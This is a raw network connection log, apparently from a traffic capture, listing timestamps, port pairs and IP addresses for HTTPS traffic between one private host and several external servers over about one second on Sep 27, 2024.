Sep 27, 2024 05:50:58.296892881 CEST	443	49813	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:58.296998978 CEST	49813	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:58.297013998 CEST	443	49813	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:58.336520910 CEST	49813	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:58.368129969 CEST	443	49827	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.383544922 CEST	443	49814	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:58.383570910 CEST	443	49814	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:58.383578062 CEST	443	49814	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:58.383611917 CEST	443	49814	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:58.383632898 CEST	443	49814	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:58.383636951 CEST	49814	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:58.383640051 CEST	443	49814	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:58.383666992 CEST	443	49814	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:58.383687973 CEST	49814	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:58.383687973 CEST	49814	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:58.383713961 CEST	49814	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:58.397687912 CEST	443	49818	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:58.397718906 CEST	443	49818	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:58.397795916 CEST	49818	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:58.397815943 CEST	443	49818	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:58.397980928 CEST	443	49829	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.398545980 CEST	443	49818	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:58.398597002 CEST	49818	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:58.411392927 CEST	49827	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.436795950 CEST	443	49830	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.440561056 CEST	443	49832	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.444468975 CEST	49829	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.444494009 CEST	443	49829	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.445159912 CEST	443	49829	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.446304083 CEST	49827	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.446332932 CEST	443	49827	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.446724892 CEST	49832	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.446749926 CEST	443	49832	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.447011948 CEST	443	49827	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.447108984 CEST	49830	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.447117090 CEST	443	49830	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.447613001 CEST	443	49830	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.447642088 CEST	49829	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.447729111 CEST	443	49829	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.447809935 CEST	443	49832	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.447858095 CEST	49832	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.448916912 CEST	49827	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.449018955 CEST	443	49827	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.449400902 CEST	49830	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.449506044 CEST	443	49830	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.450006962 CEST	49832	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.450088024 CEST	443	49832	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.450117111 CEST	49818	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:58.450141907 CEST	443	49818	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:58.451426029 CEST	49829	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.451431990 CEST	49827	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.451751947 CEST	49830	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.451991081 CEST	49832	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.451998949 CEST	443	49832	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.459287882 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.459669113 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.459681988 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.460053921 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.460639954 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.460711002 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.460774899 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.470029116 CEST	443	49814	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:58.470050097 CEST	443	49814	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:58.470103979 CEST	49814	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:58.470172882 CEST	443	49814	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:58.470206022 CEST	443	49814	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:58.470212936 CEST	49814	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:58.470247030 CEST	49814	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:58.470261097 CEST	443	49814	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:58.470320940 CEST	49814	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:58.470555067 CEST	443	49814	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:58.470597029 CEST	49814	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:58.491715908 CEST	49832	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.495156050 CEST	49838	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.495201111 CEST	443	49838	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.495266914 CEST	49838	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.495412111 CEST	443	49830	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.495673895 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.495717049 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.495781898 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.496197939 CEST	49814	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:58.496226072 CEST	443	49814	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:58.498383045 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.498394966 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.498728037 CEST	49838	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.498739958 CEST	443	49838	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.499393940 CEST	443	49829	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.499407053 CEST	443	49827	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.507395983 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.507790089 CEST	443	49807	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.515353918 CEST	49807	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.515360117 CEST	443	49807	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.515722036 CEST	443	49807	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.515793085 CEST	49807	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.516446114 CEST	443	49807	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.516486883 CEST	49807	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.517499924 CEST	49807	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.517561913 CEST	443	49807	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.518366098 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.518400908 CEST	49807	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.518405914 CEST	443	49807	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.519915104 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.519932032 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.520395041 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.520447969 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.521394014 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.521431923 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.529500008 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.529571056 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.529872894 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.529880047 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.555875063 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.555896044 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.555995941 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.557873011 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.557883978 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.564033985 CEST	49841	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.564069986 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.564740896 CEST	49841	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.565360069 CEST	49841	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.565361023 CEST	49842	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:58.565367937 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.565408945 CEST	443	49842	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:58.565493107 CEST	49842	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:58.569593906 CEST	443	49830	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.569628000 CEST	49842	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:58.569643021 CEST	443	49842	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:58.569683075 CEST	443	49830	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.569700956 CEST	443	49832	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.569766998 CEST	443	49832	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.569817066 CEST	49830	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.569820881 CEST	49832	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.571511984 CEST	49807	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.574702978 CEST	49832	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.574717045 CEST	443	49832	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.576499939 CEST	49830	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.576517105 CEST	443	49830	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.582535982 CEST	443	49827	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.582623005 CEST	443	49827	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.583323956 CEST	49827	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.583374977 CEST	443	49827	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.583431005 CEST	49827	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.583431005 CEST	49827	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.583476067 CEST	49827	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.584299088 CEST	443	49829	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.584367990 CEST	443	49829	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.585221052 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.585313082 CEST	49829	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.588139057 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.588161945 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.588176966 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.588346958 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.588359118 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.588408947 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.589173079 CEST	49829	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.589184046 CEST	443	49829	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.589869976 CEST	49829	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.589965105 CEST	49829	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.655584097 CEST	49777	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:58.676105022 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.676134109 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.676204920 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.676224947 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.676289082 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.681433916 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.681451082 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.681525946 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.681535006 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.681638956 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.687077045 CEST	443	49809	111.45.11.83	192.168.2.5
Sep 27, 2024 05:50:58.687216043 CEST	443	49809	111.45.11.83	192.168.2.5
Sep 27, 2024 05:50:58.687278032 CEST	49809	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:58.688296080 CEST	49809	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:58.688313961 CEST	443	49809	111.45.11.83	192.168.2.5
Sep 27, 2024 05:50:58.688344002 CEST	49809	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:58.688597918 CEST	49809	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:58.697632074 CEST	49843	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:50:58.697655916 CEST	443	49843	183.240.98.228	192.168.2.5
Sep 27, 2024 05:50:58.697894096 CEST	49843	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:50:58.698446989 CEST	49843	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:50:58.698465109 CEST	443	49843	183.240.98.228	192.168.2.5
Sep 27, 2024 05:50:58.703438044 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:58.723023891 CEST	443	49823	58.254.150.48	192.168.2.5
Sep 27, 2024 05:50:58.723531961 CEST	49823	443	192.168.2.5	58.254.150.48
Sep 27, 2024 05:50:58.723556995 CEST	443	49823	58.254.150.48	192.168.2.5
Sep 27, 2024 05:50:58.724193096 CEST	443	49823	58.254.150.48	192.168.2.5
Sep 27, 2024 05:50:58.724347115 CEST	49823	443	192.168.2.5	58.254.150.48
Sep 27, 2024 05:50:58.725357056 CEST	443	49823	58.254.150.48	192.168.2.5
Sep 27, 2024 05:50:58.725693941 CEST	49823	443	192.168.2.5	58.254.150.48
Sep 27, 2024 05:50:58.769673109 CEST	49823	443	192.168.2.5	58.254.150.48
Sep 27, 2024 05:50:58.769799948 CEST	443	49823	58.254.150.48	192.168.2.5
Sep 27, 2024 05:50:58.770195961 CEST	49823	443	192.168.2.5	58.254.150.48
Sep 27, 2024 05:50:58.770212889 CEST	443	49823	58.254.150.48	192.168.2.5
Sep 27, 2024 05:50:58.773708105 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.773751020 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.773830891 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.773855925 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.773931980 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.773931980 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.775204897 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.775235891 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.775403976 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.775413990 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.775562048 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.778424025 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.778448105 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.778559923 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.778559923 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.778573036 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.778749943 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.779810905 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.779829979 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.779925108 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.779925108 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.779933929 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.782167912 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.821890116 CEST	49823	443	192.168.2.5	58.254.150.48
Sep 27, 2024 05:50:58.856170893 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.856194019 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.856323957 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.856323957 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.856348991 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.856497049 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.856962919 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.857016087 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.857052088 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.857099056 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.857299089 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.859054089 CEST	49831	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.859081984 CEST	443	49831	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.876013994 CEST	49844	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.876015902 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.876063108 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.876065016 CEST	443	49844	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.876146078 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.876147985 CEST	49844	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.876773119 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.876787901 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.877115011 CEST	49844	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:58.877136946 CEST	443	49844	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:58.887885094 CEST	443	49807	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.887909889 CEST	443	49807	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.887917042 CEST	443	49807	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.887947083 CEST	443	49807	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.887972116 CEST	443	49807	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.887988091 CEST	443	49807	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.888037920 CEST	443	49807	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.888062954 CEST	49807	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.888062954 CEST	49807	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.890022993 CEST	49807	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.890609026 CEST	49807	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.890630007 CEST	443	49807	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.893877983 CEST	49846	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.893923044 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.895987988 CEST	49847	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.896004915 CEST	443	49847	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.896083117 CEST	49847	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.896083117 CEST	49846	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.896276951 CEST	49846	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.896297932 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.897871971 CEST	49847	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.897883892 CEST	443	49847	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.905483961 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.905500889 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.905510902 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.905554056 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.905565977 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.905581951 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.905615091 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.905680895 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.905738115 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.905828953 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.913522959 CEST	443	49824	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.914768934 CEST	49824	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.914798021 CEST	443	49824	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.915292025 CEST	443	49824	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.916768074 CEST	49824	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.916769028 CEST	49824	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.916805029 CEST	443	49824	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.916870117 CEST	443	49824	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.961877108 CEST	49824	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.992784023 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.992810965 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.993053913 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.993083000 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.993933916 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.996824026 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.996849060 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.997243881 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:58.997258902 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:58.998069048 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.007733107 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.007766008 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.007776976 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.007796049 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.007805109 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.007812977 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.007849932 CEST	49777	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:59.007869005 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.007898092 CEST	49777	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:59.008183002 CEST	49777	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:59.084872007 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.084897995 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.085253954 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.085298061 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.085733891 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.085756063 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.085867882 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.085867882 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.085889101 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.086374998 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.086390972 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.086446047 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.086452961 CEST	49777	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:59.086457968 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.086471081 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.086489916 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.086508036 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.086529016 CEST	49777	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:59.086606026 CEST	49777	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:59.086708069 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.086723089 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.087215900 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.087228060 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.087374926 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.087480068 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.087574005 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.087703943 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.088433027 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.088447094 CEST	443	49806	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.088488102 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.088766098 CEST	49806	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.088917017 CEST	49806	443	192.168.2.5	47.108.5.198
